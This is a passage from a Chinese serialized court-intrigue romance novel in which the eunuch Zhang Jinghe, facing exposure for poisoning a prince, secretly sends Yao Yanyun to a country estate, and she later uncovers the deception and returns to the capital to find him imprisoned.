可他还没来得及松口气,就听见陈秉正的声音继续传来,字字清晰:“因冯大祥身有顽疾,在其痊愈入宫理事前,司礼监掌印太监一职,暂由张景和署理。” “轰”的一声,高义只觉得脑子炸开了。他脸色瞬间铁青,黑得能滴出墨来。冯大祥本就时日无多,照先帝这意思,等冯大祥一去,这掌印太监之位,就顺理成章落到张景和头上了!他心中早有属意的掌印人选,绝不可能是张景和!高义气得浑身发颤,暗自咬牙——先帝这是老糊涂了! 他强压着怒火,转向陈秉正,语气冰冷如刀:“陈公公,捏造圣旨乃是株连九族的死罪,你可清楚?” 陈秉正脸色一沉,反问:“高大人这话是什么意思?莫非是质疑先帝遗诏的真伪?” “质疑?”高义冷笑一声,声音陡然拔高,“这掌印太监署理的安排,怕是你擅自篡改的吧!” “放肆!”陈秉正猛地喝断他,声色俱厉,“高首辅好大的胆子!先帝才刚殡天,尸骨未寒,你竟敢公然质疑遗诏,违抗圣意!你这般不忠不义,是想谋逆吗?” 被陈秉正扣上“谋逆”的大帽子,高义心头一凛,随即强自镇定道:“本辅对先帝忠心耿耿,天地可鉴!我只是担心,有心之人借遗诏之名从中作梗,祸乱朝纲!” 说罢,他转过身,径直看向太子,躬身问道:“太子殿下,先帝驾崩之时,当真说过要将掌印太监一职暂交张公公署理吗?” 太子今年还不到十一岁,刚经历丧父之痛,本就心神恍惚,被高义这般逼问,顿时又惊又怒,小脸涨得通红,忍不住高声道:“我父皇的确说过这话!怎么?高大人是想抗旨不遵吗?” 高义脸色一变,连忙跪倒在地,叩首道:“太子殿下息怒!臣绝无抗旨之意,只是此事事关重大,臣怕有人蒙蔽殿下,才多问了一句!” “看来高大人是悲痛过度,失了分寸,连先帝的遗诏都敢妄加揣测了。”一直沉默的张景和终于开口,语气冷冽。 说罢,他与陈秉正对视一眼,一同转向太子,躬身行礼,齐声劝道:“先帝新丧,还请陛下节哀。如今国祚为重,陛下需保重龙体。” “陛下……”太子喃喃重复着这两个字,眼神渐渐清明。他素来有些畏惧这位严厉的首辅,可经张景和与陈秉正一提醒,才猛然想起——父皇已经不在了,他如今已是皇帝了,再也不必畏惧任何人了。 高义还想再争辩几句,新帝却已冷着脸打断了他:“如今国丧当头,最要紧的是妥善料理父皇的丧事,其余琐事,稍后再议。高首辅以为呢?” 新帝既已把话说到这份上,高义纵有千般不满、万般不甘,也只能强行按捺下去。他深吸一口气,躬身领旨:“陛下圣明,臣无异议。” 一行人围着殿内的案几,逐项敲定了景隆帝丧仪的各项事宜——从棺椁的规制、哭丧的礼仪,到内外朝的值守安排,一一商议妥当。诸事落定后,张景和便借故与陈秉正一同暂退,往司礼监的公所去了。 陈秉正将景隆帝突发急病的始末细细说与张景和听,两人又同时想到了冯大祥出京前,对他们说的话。 冯大祥说,日后景隆帝驾崩后,高义那老东西必定会借机清算司礼监。先前有他在,还能压得住局面,如今他远在京外,高义没了掣肘,只会更加肆无忌惮。 他们早就瞧出景隆帝沉迷女色、滥服丹药,身子早已亏空得没了根本,迟早要出大问题。只是他们都没料到,景隆帝的身子会垮得这么快,驾崩得如此猝不及防,连半点缓冲的余地都没给他们留—— 作者有话说:姐妹们,本文正在收尾阶段了,具体还有多少章,还不知道(只写了大纲,细纲还没写哈哈),谢谢这段x时间大家看这篇文,爱你们,后面我会在评论区开一个楼,大家想看什么番外的话,就留言一下,看下那个点赞多,或者留言多就写那个 第116章 国丧整整持续了二十七日。 这二十七日里,宫中诸事繁杂,张景和暂代掌印之职,更是忙得脚不沾地,连宫门都未曾踏出半步。 直至景隆帝的梓宫入陵、奉安掩圹,这场举国哀悼的国丧才算正式告一段落。 可国丧的落幕,却只是新一轮风波的开端。 高义率先联合御史台发难,先是弹劾了一批昔日由冯大祥提拔的官员,随后便将矛头对准所有与冯大祥过从甚密之人,无一幸免。 其间竟有一位吏部官员,因其妻早在国丧前便已受孕,却忘了申报备案,被御史抓住由头,扣上“国丧期间罔顾哀思、大不敬”的罪名,最终落得举家被贬崖州的凄惨下场。 彼时新帝年幼,朝政大权尽落高义之手,朝堂官员已是人心惶惶,变动剧烈。 让张景和始料未及的是,高义为了将他彻底扳倒,竟不惜翻出三年前的一桩旧案。那年初冬,益州战事吃紧,急需一批棉衣送往边关御寒,此事本由他负责,他便全权托付给了一名姓王的采办太监。 谁曾想,那王姓太监利欲熏心,为私吞公款,竟采买了一批劣质棉衣送往军中。结果寒冬腊月里,无数将士因衣物单薄破败冻毙疆场。 事情败露当日,王太监便被处死。 而他当年若不是有冯大祥力保,早已人头落地。如今高义重提旧事,摆明了是不置他于死地不罢休。 张景和已定下三日后回府的打算。连日操劳加上心头郁结,他早已身心俱疲,此刻唯一的念想,便是尽快见到姚砚云。 他正独自坐在公所中思忖着这些烦心事,陈秉正推门走了进来。 “有两个消息,好的和坏的,你想先听哪个?”陈秉正开门见山。 张景和抬眸,语气平静:“先说好的。” “那些弹劾我们的御史,近期会消停一阵子了。”陈秉正语气轻快了些,“他们的把柄,我已经拿到了。” 张景和微微颔首,追问:“那坏消息呢?” 陈秉正神色一沉:“你昨日跟我说的棉衣旧案,你猜得没错——高义那边,已经联系上种将军了。”说着,他从袖中取出一封折子递过去,“这是我从司礼监那边拿到的,益州快马递来的,想必说的就是这件事。” 种将军乃是益州驻军的主将,当年正因劣质棉衣之事折损了大批将士,曾接连向景隆帝上书,恳请彻查到底。 如今经高义挑唆,得知此事尚有同谋,自然绝不会善罢甘休。 张景和接过折子,展开一看,里面所言果然句句直指三年前的棉衣案,字里行间皆是追责之意。 他越看脸色越沉,心中更是恨得牙痒痒。 次日,益州递来的奏折便呈到了新帝御前。 经高义一番煽风点火,再加上他力主施压,新帝最终下旨,命三法司会同东厂,重启棉衣案彻查。 第三日,张景和正整束衣袍预备出宫,吉祥却急匆匆奔来,附耳急声道:“老爷,吏部的秦良,被刑部的人拿问了!” 张景和眸色微沉,这秦良分管过当初棉衣制办的拨款事宜,前番调查时明明安然无恙,此刻却突然被揪出来,对方的矛头指向,已是昭然若揭。 棉衣案的首尾,他从未沾染分毫。张景和暗自思忖,任凭他们翻来覆去地查,也绝不可能查到自己头上,故而并未将此事放在心上。既高义想玩这种阴私伎俩,他便奉陪到底便是。这波谲云诡的官场之中,又有谁能真正算得上清白无瑕? 思绪未定,太后宫中的一名领事太监已躬身至跟前,低声传旨:“张公公,太后娘娘有请。” 殿内香炉燃着清雅的沉水香,烟气袅袅,太后的神色却透着几分清冷。见张景和行礼完毕,她便直截了当地问道:“张公公,你觉得高首辅此人如何?” 张景和垂首应道:“高首辅勤政爱民,对陛下忠心耿耿。” “哦?”太后一声冷笑:“张公公不必说这些场面话。从前冯公公在时,从不会用这般虚言敷衍我。” “奴婢不敢欺瞒娘娘。”张景和伏地叩首道。 太后沉声道:“这高义,向来目中无人。自打知晓先帝遗诏,更是愈发肆无忌惮。陛下如今尚幼,他表面上恭顺忠心,内里却是狼子野心!仗着陛下年纪小,这些时日的朝政,起初还象征性地与陛下商议汇报,到后来,竟是连这表面功夫都懒得做了。张公公,你说他这是想做什么?” 张景和心中已然明了。太后今年不过三十二岁,如今孤儿寡母相依为命,又出身寒微,无半点家族势力可依傍,此刻显然是忧心忡忡,欲从他口中印证自己的判断。 他道:“高首辅身为臣子,职责本是辅佐陛下。如今这般行事,怕是有些操之过急了。奴婢如今贴身伺候陛下左右,倒也瞧出几分端倪。” 听闻此言,太后心中的猜测得到证实,脸色愈发难看。 她沉默片刻,缓声道:“张公公,这内廷之人,我向来只信冯公公。如今你接替了冯公公的位置,不知心中是何打算?” 张景和再次叩首,声音坚定:“奴婢此生,誓死效忠陛下。” 从太后宫中出来时,张景和嘴角难得染上了一些浅淡笑意。高义这般狂妄自大,迟早要搬起石头砸自己的脚,他当自己是谁呢! 太后方才又另行交代了些事宜,今日出宫的念头自然落了空。他折返回司礼监,取了素笺,提笔给姚砚云写了几行字,命吉祥送回张府。 素笺上寥寥数字:等我回来,我很想你。 张府 姚砚云当日收到张景和的素笺,心中便揣了几分期待,原以为很快便能见到他,毕竟先帝梓宫已入陵,国丧的各项大典早已收尾。 谁知这一等,又是十余日。张景和非但未曾回府,连半点消息都没有。姚砚云按捺不住,只得吩咐富贵往宫里递个话问问情形。 富贵回来复命时,像是在安慰她一样:“姚姑娘,你是不知道,老爷如今升了掌印太监,正是当差吃紧的时候,宫里的事桩桩件件都要经他的手。依小的看,再过几日,老爷忙完这阵便能回来了。” 姚砚云闻言,心中稍定,又忍不住多问了一句:“方姑娘这几日不在京中,我也没处打听,宫里近来可有什么不太平的事?”她终究记挂着王朝更迭之际最是多事,生怕张景和在宫中卷入什么风波。 “这倒没有,”富贵摇了摇头,“小的往宫里跑这一趟,没听见半点风声,一切都安安分分的。” 听富贵这么说,姚砚云悬着的心彻底放下了。她想起从前张景和也有过月余不回府的情形,如今不过是多等几日,倒也无妨。更何况,他既已表明心意,愿接纳自己,两人总算走到了一处,这点耐心她还是有的。 只是想起最后一次见他时的模样,姚砚云心中仍存着几分牵挂。那日张景和来寻她,她分明瞧见他右手五指的骨节又肿又烂,伤势颇重,当时仓促间未曾来得及细问,也不知道他怎么搞的伤口。 本想写封短笺让富贵带去问问,可转念一想,又怕再麻烦他多跑一趟宫,便又把这心思压了下去。 国丧那一月,她几乎半步未曾踏出府门。张景和是御前近侍,她身为他身边的人,自然要恪守国丧礼制——素服素食、禁饰金玉、发髻裹白,半点不敢逾矩。她生怕自己行止有失,冲撞了礼法,反倒给张景和惹来麻烦,便索性闭门静居,安安分分地守着规矩。 如今国丧已过,憋了一个多月的姚砚云,总算能出门透透气了。她依旧拣了件最素净的衣裳,正午时分出了门,慢悠悠转了大半日,直到日暮时分才回府。 夜里,姚砚云洗漱完毕,刚要熄灯就寝,将近一个半月未见的张景和终于回来了。 姚砚云什么也顾不上问,先拉过他的右手细细查看,见那红肿溃烂的伤口已然愈合,只剩些浅浅的疤痕,她顺势扑进他怀里,两人相携着坐到榻上说话。 温存片刻,张景和轻抚着她的发顶开口:“砚砚,我在同州有座庄子,那边x山清水秀,最是凉爽宜人,正适合避暑。这一个多月你在府里也憋坏了吧,带着马冬梅她们过去玩玩,好不好?” 姚砚云闻言,微微蹙眉:“同州我倒听芸娘提起过,只是从京师过去,路程要耗上一天一夜,太远了。近来天是热,可这般折腾着赶路,反倒累得慌,还是算了吧。” “傻姑娘,正因为天热,我才想着让你去那边避避暑。”张景和捏了捏她的脸颊,“人马我都会提前安排妥当,一路安稳得很,你怕什么?” 听他说得这般妥帖,姚砚云心底那点犹豫渐渐消散,反倒生出几分向往来,抬眸问道:“那我们去玩几天?” “你先过去住着,好好散心,我处理完宫里的事就赶过来。”张景和道。 姚砚云却摇了摇头:“那我等你一起走。” 张景和道:“宫里事情多,实在抽不开身。你先去那边等着我,我一得空就过去陪你。” 说着,他又细细描摹起那庄子的好来,院里栽着成片的荷,后山有清泉,傍晚还能到溪边纳凉,连瓜果都是刚摘的最鲜灵的。他说得细致,仿佛怕她不肯去一般。姚砚云被他说得心动,终究点了头应下。 两人商议定了,三天后便出发。只是姚砚云心底隐隐透着几分奇怪的感觉,总觉得张景和今日有些反常。从前她便是在京中近处走动,他都巴不得将她护在视线范围内,寸步不离,如今要去同州那般遥远的地方,他反倒这般痛快,竟半分不介意,还一个劲地劝她先去。 深夜,姚砚云睡得正沉,翻身时却忽然发觉身旁的位置空了。她下意识地伸手一摸,被褥早已凉透,想来人已经走了许久。他竟要这般早便回宫?姚砚云心头掠过一丝疑惑,还没等细想,门外便传来了脚步声,张景和又回来了。 “砚砚,醒醒。”他俯身轻唤,“不如就今天出发吧,你起来收拾些随身东西。” 姚砚云睡得迷迷糊糊,闻言愣了一下,含混地“啊”了一声:“怎么这么着急?不是说好了三天后吗?” “我今日就得回宫值守,走不开了。”张景和的声音沉了沉,“得趁我还在府里,把你亲手安排妥当才放心。” 他说这话时,天还未完全亮开,姚砚云看不清他的神情。她还陷在半醒半困的混沌里,连思绪都慢了半拍,没听出他语气里的焦灼与反常。 “可是……这也太急了。”姚砚云揉了揉眼睛,声音带着刚醒的沙哑,“天还要好一会儿才亮呢,这么早动身,太折腾了,我想睡觉” 张景和却没再跟她多解释,直接俯身将她抱了起来:“傻姑娘,等你收拾好东西,天不就亮了吗?趁我还在府里,亲自安排才稳妥,这府里的人办事,我不放心。你听话,我很快就过去找你。” 第117章 姚砚云还迷迷糊糊的,就被抱了起来。 张景和半点不给她清醒缓神的机会,催命似的让她收拾东西。原是说要出去散心,她也没什么要紧物件可带,收拾得简单利落,不到两刻钟便妥当了。 随行的马冬梅、小元、三喜和六婶也早把行囊备妥,在院门口静静候着了。 此时天已大亮,晨间的凉意渐渐消散,暑气循着风意慢慢漫了上来,空气里闷得像裹了层湿棉。一行人整装待发,只等张景和一声令下。 姚砚云这才彻底清醒过来,心头那点朦胧的不安渐渐清晰,她抬眼望向张景和,轻声问道:“为什么这么急着走?莫非是出什么事了?” 张景和对着她扯出一抹温和的笑,语气尽量放得轻快:“你瞎想什么?你看这暑气一日重过一日,若是等大中午再出发,路上暴晒着,岂不是更热更难受?” 一旁的吉祥连忙附和:“是啊姚姑娘,这伏天的正午暑气最是伤人,折腾得人抬不起精神。到了这个时节,不管是出城的百姓还是赶路的商队,都是赶在天刚亮、城门一开就动身的,就为了避开晌午的酷热。” 姚砚云听着觉得颇有道理,这段时日的暑气确实一日烈过一日,早点出发倒能少受些罪。再看张景和脸上的笑意,神色并无半分异样,便觉是自己多心了,心底的那点不安也渐渐散了。 “上车吧。”张景和扶着她的手臂,稳稳将她送上马车。 一切准备就绪,车夫正调整着马的方向,手已搭在马鞭上,只待扬鞭启程。 姚砚云忽然从车厢里探出头来,眉眼弯弯地对着张景和笑了笑:“那你要快点来哦。” 张景和望着她那抹春风般澄澈明媚的笑意,心口像是被无数根细针密密麻麻扎过,又酸又痛。 他没敢开口回话,只对着她浅浅笑了笑。 ———— 一个人犯下的罪孽,从不会随时间流逝而消散。就在五日前,张景和终于确认,自己的死期已近。 齐王是景隆帝的二哥,自幼体弱多病。景隆帝尚未登基时,齐王深得仁宗皇帝喜爱,只因身子骨不济,最终与太子之位失之交臂。 可即便景隆帝登基多年,对齐王依旧心存忌惮,总怕他有朝一日生出谋逆之心。景隆帝常年沉溺女色,子嗣单薄,偌大的后宫只育有一子。他大抵也清楚自己这般放纵,时日无多,为给太子扫清登基后的障碍,便对齐王起了杀心。 这些年,齐王在封地安分守己,恪守本分,景隆帝始终抓不到半点把柄。最终,景隆帝还是在去年新年之际,趁齐王入宫贺岁的时机,暗中给了他慢性毒药。不多不少,恰在齐王返回封地后毒发身亡。 这事,正是他与陈秉正亲手经办,毒药也是从民间不同地方辗转购得、调配,本以为做得天衣无缝,却万万没想到,还是走漏了风声。如今景隆帝早已驾崩,死无对证,一切都成了死局。 眼下,参与配毒的三位药师已被人找到。只要最后一位关键药师落网,顺着这条线索层层追查,必定会查到他和陈秉正头上。到那时,两人便必死无疑。 那位关键药师,他已暗中派遣锦衣卫四下搜寻。若是他能抢先找到人,或许还能拼死一搏,掩盖住这桩秘辛,可一旦被其他人先找到,事情便彻底败露了。 谋杀宗室亲王,属十恶不赦的恶逆重罪,按律,谋杀者本人凌迟处死,亲属还要连坐受罚,一个也跑不了。 这便是他急着将姚砚云送走的真正缘由。念及此,他又暗自庆幸——还好,至今尚未给她任何名分。当初景隆帝虽阴差阳错间为他们赐了婚,可后续该办的正经手续,诸如到官府登记备案、敲定婚籍,他却始终拖着未曾办理。 于礼法而言,他与她的婚约,终究未曾真正成立。 他这条命,本就是烂命一条,死不足惜。如今唯一的念想,便是这场滔天祸事,万万别牵连到她的身上。 他已将一切都安排妥当。只要她此生不再踏足京师,便能平安顺遂地过完这一生。 所有能转移的财产,他都会悄悄转到她名下,这些事,他尽可在这段时日里一一办妥。有了这些银钱傍身,她往后或是安稳度日,或是再寻一位良人托付终身,都好。 他别无他求,只求她永远不要再回这是非缠身的京师之地。 ———— 晌午时分,一行人在客栈歇脚时,姚砚云才惊见吉祥和富贵竟也跟来了。看着两人从另一辆马车上跳下来,她不由得愣了愣神。 转念一想,她心头又泛起几分欢喜,想来宫里的事该是忙得差不多了。要知道,吉祥平日里几乎寸步不离地跟在张景和身旁,如今既来了,想必张景和过不了几日也会赶过来。 众人进店寻了张桌子坐下,点了几碗清爽的汤面。虽是暑气蒸腾的天气,但赶了大半天的路,人人都饿得前胸贴后背,胃口反倒不错,呼噜呼噜吃得香甜。唯独马冬梅面色恹恹的,手里的筷子拨弄着碗里的面,没动几口。 姚砚云早留意到了,从城里出发时,马冬梅就一反常态地沉默着。往日里她最是活泼多话,今日却闷得不吭一声,实在反常。姚砚云放下筷子,问她:“冬梅,你是不是不舒服?要不我先给你开个房间歇一歇,我们晚些再走?这天儿热,我怕你是中暑了。” 马冬梅连忙摆手:“不用不用,吃完咱们还x是赶紧赶路吧。” 姚砚云见她强打精神的模样,忍不住笑了:“急什么?咱们是出来散心玩的。等你休息好了,咱们再走也不迟。” 马冬梅却梗着脖子一再拒绝,还故意挺了挺胸脯:“你看我这精神头,哪里像不舒服的样子?我就是……就是想赶紧到庄子上,早点去玩罢了。” 见马冬梅态度坚决,姚砚云便不再多劝。等众人都吃完了面,稍作休整,便又重新登车,继续往同州的方向赶去。 当吉祥指着前方,低声说“不多时,庄子便到了”,姚砚云才撩开车帘向外望去。 果然,青山绿水间,景致清幽如画,只是四下里不见人烟,路上连行人的影子都难觅。沿途只零星散落着几处屋舍,想来,这便是那处远离尘嚣的私家庄园了。 一行人下了车,放眼望去,周遭依旧静谧得很,唯有鸟鸣虫叫与清风拂过树叶的沙沙声。 可眼前的景致实在宜人,姚砚云的心情瞬间明朗起来,暗自思忖:果然是个避暑的好去处。 庄子里种满了时令瓜果,空气中弥漫着清甜的果香,圈里养着猪羊,肥硕健壮,还有一方池塘,养有鱼,一派生机勃勃的景象。在这里,既能避暑,又能享受田园之趣,她甚至萌生了一个念头:不如等夏天过了,再回京师也不迟。 住了十日,吉祥说要先行回一趟京师。姚砚云便叮嘱他,探问一下张景和大概何时会来,以及那边的情况,回个信给她,好让她心里有个底。 日子一天天过去,转眼已是一个月。姚砚云心里渐渐有些不安,张景和怎么还没来?就算宫里事务繁忙,抽不开身,那为何不派人来传个信?京师又不是没送信的信使,真的忙成这样了吗? 他不会喜欢上别人了吧?故意冷落自己? 想到这些,她取来纸笔,提笔写了一封信,打算让三喜快马加鞭,送出去。 “我去帮你交给三喜。”马冬梅接过信,转身便要往外走。 只要银钱给足,从这里到京师,信使四日便能往返。她耐着性子等了五日,却依旧杳无音信。她忍不住去问三喜。 三喜低着头,嗫嚅道:“或许……或许是路上耽搁了吧。” 姚砚云追问:“你是不是没给够钱给信使,所以才这么慢?” 她又说:“实在不行,你带我出去一趟吧。我亲自去问问。” 寄信的地方在另一个镇上,去那里要骑马或者坐马车。姚砚云在庄子里住了这么久,只在附近的村落和小镇上逛过,那处寄信的镇子,她从未去过。 三喜连忙劝慰:“姚姑娘,你别急啊。老爷或许是太忙了,一时忘记给你回信了。要不……再等等?要是过几天还是没有消息,我就陪你出去走走看看。” 听了三喜这番话,姚砚云觉得,或许再等几天也无妨。 可又过了好些日子,依旧没有信来。 不仅如此,她还写了其他的寄了出去,没有一封是有回应的,她来这边都快两个月了,她不得不怀疑是不是张景和真的喜欢上别人了,故意把她送来这边!好不打扰他的好事! 疑虑渐渐在她心中发酵,她开始回想起,在这边的种种怪事。她曾多次要求富贵和三喜带她去那个大镇子逛逛,他们却总是找各种理由推脱。她抱怨张景和不给她回信,他们的回答永远是“老爷很忙,姚姑娘你先等等”,话术千篇一律。 甚至当她提出想回京师时,他们也一个劲地劝她安心在这里游玩。 就连她和马冬梅抱怨此事,马冬梅也站在张景和这边说话。 更让她不安的是,她曾几次看到一些手持长刀的陌生男子,形迹可疑,似乎在暗中监视着她。她把这件事告诉富贵,富贵却轻描淡写地说,那是附近的猎户来山里打猎的。 种种迹象都透着不对劲。姚砚云的心彻底沉了下去,她提笔又写了一封信,交给了马冬梅。 马冬梅接过信,像往常一样,准备出去交给三喜。 可这一次,姚砚云留了个心眼。她悄悄跟在马冬梅身后,只见马冬梅拿着信,并没有去找三喜,而是拐进了一个僻静的角落,张望了一下四周,确认无人之后,才掏出火折子,将信点燃,看着它在火中化为灰烬 就在马冬梅转身要走的瞬间,眼角余光却瞥见了不远处的身影,姚砚云站在那里,双眼通红,泪水正顺着脸颊无声滑落,直直地望着她 第118章 难怪她写的每一封信都石沉大海,难怪迟迟等不到张景和的回音,难怪所有人都对她这般反常,她终于明白了。 出事了,一定是出了天大的事。可究竟是什么事,要让他们这样费尽心机地瞒着她? 是张景和终究反悔了,不愿接受她,才想出这般法子将她困在这里,拖延时日,好彻底与她斩断关系?还是说……他本人出事了?这个念头一旦冒出来,就像毒蛇般啃噬着她的心。 姚砚云强撑着摇摇欲坠的身子,一步步走到马冬梅面前,声音带着哭腔:“冬梅,我把你当最好的朋友,把你当家人,可你……你把我当什么?” 马冬梅见她哭得这般伤心,自己也红了眼眶,泪水顺着眼角滑落,声音哽咽:“砚云,我……你别哭了,我也把你当家人。” “既然是家人,那你就实话告诉我!”姚砚云抬手抹了把眼泪,目光紧紧盯着她,“到底发生了什么事?你为什么要把我的信烧掉?我没猜错的话,之前我写的那些信,一封都没送出去,对不对?” 马冬梅知道事情再也藏不住了,可千头万绪涌上来,她一时竟不知该如何解释,只能慌乱地摇头:“我……没有,没有!之前的信都送出去了!” “冬梅,事到如今,你还不肯对我说实话吗?”姚砚云的声音里满是失望与痛楚。 马冬梅不敢看她的眼睛,猛地别过脸去,声音低若蚊蚋:“我不知道你在说什么……你要是还想寄信,就重新写一封,我帮你重新交出去就是了。” 姚砚云的心猛地一揪,她望着马冬梅慌乱躲闪的眼神,一字一句地追问:“是张景和……他是不是出什么事了?” “没有!绝对没有!”马冬梅的声音陡然拔高,带着明显的慌乱,“张公公他好好的,你别胡思乱想!” 看着马冬梅这副欲盖弥彰的模样,姚砚云的心彻底沉了下去,她基本可以确定,张景和一定是出事了。 她上前一步,紧紧攥住马冬梅的胳膊,泪水再次汹涌而出,声音里满是绝望:“冬梅,我爱他……你这样瞒着我,是想逼死我吗?” 马冬梅哪受得了姚砚云这般撕心裂肺的哭,看着她通红的双眼和绝望的模样,再想到事情已然败露,索性咬了咬牙,把实情和盘托出。 “砚云,其实……其实我们出发去京师的那天,我还在睡梦里呢。”马冬梅抹着眼泪,声音哽咽,“忽然听见说要陪你出去散心,我还开开心心地起来收拾东西,可收拾到一半,张公公竟然急匆匆地来了。他一进门就抓住我的胳膊,眼神特别吓人,劈头就问我‘想不想活’。我当时吓得魂都没了,还以为自己犯了什么滔天大罪,腿都软了。” “后来张公公才说,他招惹上了天大的麻烦,这事牵连甚广,说不定会害死很多人。他没时间多解释,只说必须立刻把你送出去,找个安全的地方藏起来。他嘱咐我,一定要让你安安心心地待在这庄子里,千万不能让你起回京师的念头,等这阵祸事过去了才行。” 马冬梅吸了吸鼻子,脸上满是后怕:“我当时吓得不行,只能连连答应。我也想问他到底出了什么事,可张公公当场就警告我,说‘知道得越多,死得越快’,还问我是不是想害死你。我……我实在不敢再多问半句,只能按着他的吩咐来,这些日子一直哄着你、劝着你,就怕你起疑心要走。” 她顿了顿,又补充道:“后来我偷偷找过三喜和富贵,他们俩和我一样,也只知道个皮毛,张公公什么关键的都没说,只让他们好好守着你。” 姚砚云又去找了三喜和富贵,果然和马冬x梅说得不相上下。 思考了一番后,姚砚云吩咐道:“我要回京师,你们现在就去备马车。” 富贵连忙上前一步,急声道:“姚姑娘,万万不可!老爷特意交代过,你绝对不能回去。” 姚砚云惨然一笑,眼底满是苦涩,“难道要我在这里躲一辈子,连他是生是死都不知道吗?” “老爷说,只要你在这儿待满一年,风波自会平息。”富贵的声音带着恳求,“姚姑娘,你别辜负了老爷的一片苦心啊,他可是拼了命才把你送出来的。” 姚砚云眼神一凛,语气斩钉截铁:“若是我非要回去呢?” 富贵脸上露出为难又决绝的神色,低声道:“姚姑娘,不是小的为难你,你真的走不了。这庄子四周,还有城外要道,都布了暗卫。就算你能闯出庄子,也绝无可能出城。” “你……”姚砚云气得浑身发抖,胸口剧烈起伏,最终狠狠瞪了他一眼,转身就走。 富贵看着她的背影,心里也是五味杂陈。他哪里敢告诉姚姑娘,老爷临走前找过他,沉重得像是在交代后事。说他这一去,怕是九死一生,能不能活下来全看天意。还说,从今往后,姚砚云就是他的新主子。 一想到这些,富贵就忍不住红了眼眶。 富贵躺在床上,想着这些翻来覆去睡不着。就在他心烦意乱之际,忽然觉得颈处一凉,一股寒意瞬间窜遍全身。 “你想活吗?” 姚砚云的声音在黑暗中响起。富贵猛地睁眼,借着窗外微弱的月光,只见姚砚云站在床边,手里紧紧攥着一把锋利的剪子,剪尖正贴着他的脖颈,微微泛着寒光。 富贵惊得差点从床上弹起来,结结巴巴地问:“姚、姚姑娘?你……你怎么进来的?” “别废话。”姚砚云的声音带着一丝颤抖,“我问你,带不带我回京师?你要是不答应,我现在就割破你的喉咙。” 富贵急得满头大汗,苦劝道:“姚姑娘,你怎么就不懂老爷的用心良苦呢?他是为了救你啊!” 姚砚云道:“我没记错的话,张公公对你有再造之恩吧?当年你母亲重病垂危,是他费心请来了常圣手,才把你母亲从鬼门关拉了回来。这份恩情,你难道忘了?” 富贵脸色一白,嗫嚅道:“我、我没忘,可我……” “你没忘,却要恩将仇报!”姚砚云的声音陡然拔高,带着浓浓的失望,“你明知道他现在身陷险境,却拦着我不让我回去,这和眼睁睁看着他去死有什么区别?” “我没有啊姚姑娘!”富贵急得快要哭了,“可就算你回去了,又能做什么呢?你根本救不了老爷啊!” “我是救不了他。”姚砚云的声音低了下去,眼底满是悲戚,泪水再次涌了上来,“可我想回去看看他,就算他真的活不成了,我也要陪在他身边,送他最后一程。” 话音刚落,她猛地将剪子调转方向,尖刃对准了自己的脖颈:“富贵,你要是不答应我,那我就只能在这里了结自己,去地府陪他了。” “姚姑娘,万万不可!”富贵吓得魂飞魄散,连忙从床上爬起来,想要阻拦她,“你别冲动啊。” 姚砚云的手微微一顿,泪水顺着脸颊滑落:“富贵……张公公待我们都不薄。就当我求你了,做人不能没良心,让我回去吧,就算是死,我也要陪他走最后一段路。” 京师 姚砚云和富贵日夜兼程,赶到京师时,已是第二日深夜。城门早已紧闭,夜色如墨,两人只能在城外找了家简陋的客栈暂且歇脚。 天刚蒙蒙亮,城门一开,姚砚云便迫不及待地催着富贵驱车赶往张府。可越靠近那熟悉的街巷,她的心就越往下沉,直到那座曾经朱门焕彩的府邸出现在眼前,姚砚云只觉得浑身的血液都瞬间凝固了,张府的朱红大门上,赫然贴着一道刺眼的封条。 如同一记重锤,狠狠砸在姚砚云的心上。她踉跄着扑到门前,指尖颤抖地抚过那冰冷的封条,只觉得一阵天旋地转,眼前发黑,再也支撑不住,顺着门框瘫坐在地上。 姚砚云死死咬着唇,才没让自己哭出声来。她静坐了许久,直到心口的剧痛稍稍平复,才猛地站起身:“富贵,去方府,去找淑宁。” 赶到方府时,门房见是她,连忙通报。方淑宁听闻姚砚云来了,几乎是跌跌撞撞地跑出来,两人一见面,所有的隐忍与克制瞬间崩塌,当即抱头痛哭。 “姚姐姐!”方淑宁哽咽着,紧紧攥着她的手,“这些日子你到底去了哪里?张府出事后,我到处找你,却杳无音讯,我还以为……还以为你也出事了” 姚砚云抹了把眼泪,急切地问道:“淑宁,先别问我,你快告诉我,张景和到底怎么了?为什么张府会被封?他到底犯了什么滔天大罪?” 方淑宁的哭声一顿,她吸了吸鼻子,断断续续地将自己知晓的一切和盘托出。 “谋杀宗室亲王……”姚砚云重复着这几个字,只觉得耳朵嗡嗡作响,仿佛听到了天方夜谭,她瞪大了眼睛,声音都在发颤。 “还有陈秉正”方淑宁哭得更凶了,“他也被牵连进去了!我爹说,他们犯的是不赦之罪,按律当斩……姚姐姐,怎么办啊?我早就不奢望能和他在一起了,可我从来没想过他会死啊!我要他平平安安的。” 姚砚云的心像被一只无形的手紧紧攥住,痛得几乎无法呼吸。她强迫自己冷静下来:“淑宁,你有没有办法,让我见张景和一面?” 方淑宁擦干眼泪,思索了片刻,迟疑道:“陈秉正被关在刑部大牢,可张公公……他被关在诏狱里。诏狱凶险,守卫森严,想见他怕是难如登天。不过,我可以去求我爹试试,他在朝中还有些脸面,或许能通融一二。” 姚砚云连忙点头,又匆匆写了一封信,交给一旁的富贵,让他亲自送去给芸娘。 之后,姚砚云便暂时住在了方府。可偏巧,这晚方明毅并未回府。 直到第二日清晨,方明毅才回府,他终是松了口,却抛出两个条件:其一,方淑宁往后不得再插手陈秉正的任何事。其二,此次去诏狱,淑宁不能陪同。 午时,姚砚云在方淑惠的陪伴下,去了诏狱。同行的还有一位背着药箱的郎中,方明毅并未多做解释,只淡淡吩咐了一句:“他在诏狱里待了一个多月,让郎中去看看也好。” 诏狱的门禁远比想象中森严,层层关卡过后,在狱卒带领下,两人沿着一条幽深潮湿的通道往里走。通道里不见天日,只有壁上每隔数丈挂着一盏昏暗的油灯,跳动的火苗将影子拉得忽长忽短。空气中弥漫着一股浓重的霉味、血腥味与排泄物的恶臭,呛得人几乎喘不过气。 也不知道他怎么样了,有没有受刑,在这样暗无天日的地方熬过一个多月,他该有多难熬。 “到了,规矩你们都懂,快点说完,别耽误时辰。” 狱卒在一间狭小的牢房门口停下,四周漆黑一片,唯有姚砚云手里提着的一盏灯笼,散发出微弱的光晕,勉强照亮了牢房门口的一小块地方。 